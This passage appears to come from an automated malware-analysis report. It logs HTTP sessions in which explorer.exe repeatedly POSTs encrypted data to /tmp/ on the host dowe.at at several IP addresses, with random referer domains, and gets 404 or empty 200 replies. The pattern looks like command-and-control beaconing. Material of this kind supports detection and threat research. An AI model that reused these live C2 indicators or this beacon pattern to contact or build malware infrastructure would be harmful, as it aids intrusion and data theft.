Nov 30, 2022 00:10:59.878920078 CET	291	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0a 6b 2c 90 f5 76 0b 75 53 5a b8 9e Data Ascii: ;n&!tu~{sc\|EZ_vlV?$`7C[zqNA -[k,vuSZzW{r]\]epapSfY9I7Fn(I?'uE%~[\A+`6*#
Nov 30, 2022 00:11:01.062212944 CET	291	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:11:00 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.6	49743	201.124.230.1	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:44.773011923 CET	4789	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xjvagowrnc.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 128 Host: dowe.at
Nov 30, 2022 00:11:44.773050070 CET	4789	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 05 6b 2c 90 f5 76 0b 75 54 0a ea a6 Data Ascii: ;n&!tu~{sc\|EZ_vlV?*$`7C[zqNA -[k,vuT;Vd'Q\qukF=`B1
Nov 30, 2022 00:11:45.499025106 CET	4790	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:11:45 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.6	49744	201.124.230.1	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:45.929184914 CET	4791	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ueuounaic.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 185 Host: dowe.at
Nov 30, 2022 00:11:45.929186106 CET	4791	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1a 6b 2c 90 f5 76 0b 75 4b 3a eb fe Data Ascii: ;n&!tu~{sc\|EZ_vlV?*$`7C[zqNA -[k,vuK:GPyW+,V)=fI\~E2-?z.WZ6!GWCv B
Nov 30, 2022 00:11:46.882761955 CET	4792	IN	HTTP/1.1 200 OK Date: Tue, 29 Nov 2022 23:11:46 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.6	49745	211.59.14.90	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:47.440696001 CET	4793	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vhxqowscaf.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 223 Host: dowe.at
Nov 30, 2022 00:11:47.441612005 CET	4793	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1b 6b 2c 90 f5 76 0b 75 40 27 a6 a9 Data Ascii: ;n&!tu~{sc\|EZ_vlV?*$`7C[zqNA -[k,vu@'lEBDS7ae2/l7"Dj}'\|8x"^GtcD<++DA vBA-\|^"?LD{ed
Nov 30, 2022 00:11:48.657201052 CET	4794	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:11:48 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.6	49746	201.124.230.1	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:49.210225105 CET	4795	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nqdpmu.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 132 Host: dowe.at
Nov 30, 2022 00:11:49.210750103 CET	4796	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 18 6b 2c 90 f5 76 0b 75 5f 3d c5 8b Data Ascii: ;n&!tu~{sc\|EZ_vlV?*$`7C[zqNA -[k,vu_=j&~b{ni?doUhAlb`Cx
Nov 30, 2022 00:11:50.163073063 CET	4796	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:11:49 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.6	49747	200.46.66.71	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:50.394320965 CET	4797	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nxslssk.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 164 Host: dowe.at
Nov 30, 2022 00:11:50.394320965 CET	4797	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 19 6b 2c 90 f5 76 0b 75 31 02 ee f0 Data Ascii: ;n&!tu~{sc\|EZ_vlV?*$`7C[zqNA -[k,vu1cXyou})oPePR8A=T^;\|y/]L}E
Nov 30, 2022 00:11:51.255007029 CET	4798	IN	HTTP/1.1 200 OK Date: Tue, 29 Nov 2022 23:11:50 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.6	49748	201.124.230.1	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:51.611656904 CET	4799	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rbdses.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 314 Host: dowe.at
Nov 30, 2022 00:11:51.611707926 CET	4799	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1e 6b 2c 90 f5 76 0b 75 3c 29 de 95 Data Ascii: ;n&!tu~{sc\|EZ_vlV?*$`7C[zqNA -[k,vu<)VkjK#w:Et3pyPnP;NLA1\|}J]X>t6N@c{H,5?6:Z@nU
Nov 30, 2022 00:11:52.585900068 CET	4800	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:11:52 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.6	49749	200.46.66.71	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:52.820238113 CET	4801	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jxvmoh.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 193 Host: dowe.at
Nov 30, 2022 00:11:52.820238113 CET	4801	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1f 6b 2c 90 f5 76 0b 75 34 44 ab b6 Data Ascii: ;n&!tu~{sc\|EZ_vlV?*$`7C[zqNA -[k,vu4D[W`Fgt)8Xx-`@tL6aZ0"ThA,EB'h2O+a y,`-
Nov 30, 2022 00:11:53.679073095 CET	4802	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:11:53 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.6	49750	211.59.14.90	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:54.077814102 CET	4803	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hlixtq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 338 Host: dowe.at
Nov 30, 2022 00:11:54.078459024 CET	4803	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1c 6b 2c 90 f5 76 0b 75 61 04 c5 f2 Data Ascii: ;n&!tu~{sc\|EZ_vlV?*$`7C[zqNA -[k,vuaOqzb+^LLuMmPMaY=-Iv/f?DI<8aU7~I8 Ep\|mW+\|w~RI#2
Nov 30, 2022 00:11:55.285368919 CET	4804	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:11:54 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.6	49751	187.212.179.75	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:55.566342115 CET	4805	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bymgj.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 344 Host: dowe.at
Nov 30, 2022 00:11:55.566395998 CET	4805	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1d 6b 2c 90 f5 76 0b 75 71 18 c1 af Data Ascii: ;n&!tu~{sc\|EZ_vlV?*$`7C[zqNA -[k,vuq\)]\nc&.M@-0`[mWE\|aST?JR.U_L!>59BvB +U-k%iz%;Qba.a
Nov 30, 2022 00:11:56.352952957 CET	4812	IN	HTTP/1.1 200 OK Date: Tue, 29 Nov 2022 23:11:55 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.6	49753	200.46.66.71	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:56.600760937 CET	4813	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jviyq.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 304 Host: dowe.at
Nov 30, 2022 00:11:56.600780010 CET	4814	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 12 6b 2c 90 f5 76 0b 75 6f 56 ee 81 Data Ascii: ;n&!tu~{sc\|EZ_vlV?$`7C[zqNA -[k,vuoVQ)^_B^0y\|jE\|<R1GJy$#kqQb{H":~Kt/;e]BYaeVOb
Nov 30, 2022 00:11:57.485692978 CET	4814	IN	HTTP/1.1 200 OK Date: Tue, 29 Nov 2022 23:11:57 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49722	200.46.66.71	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:01.770284891 CET	292	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dqkjujneki.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 112 Host: dowe.at
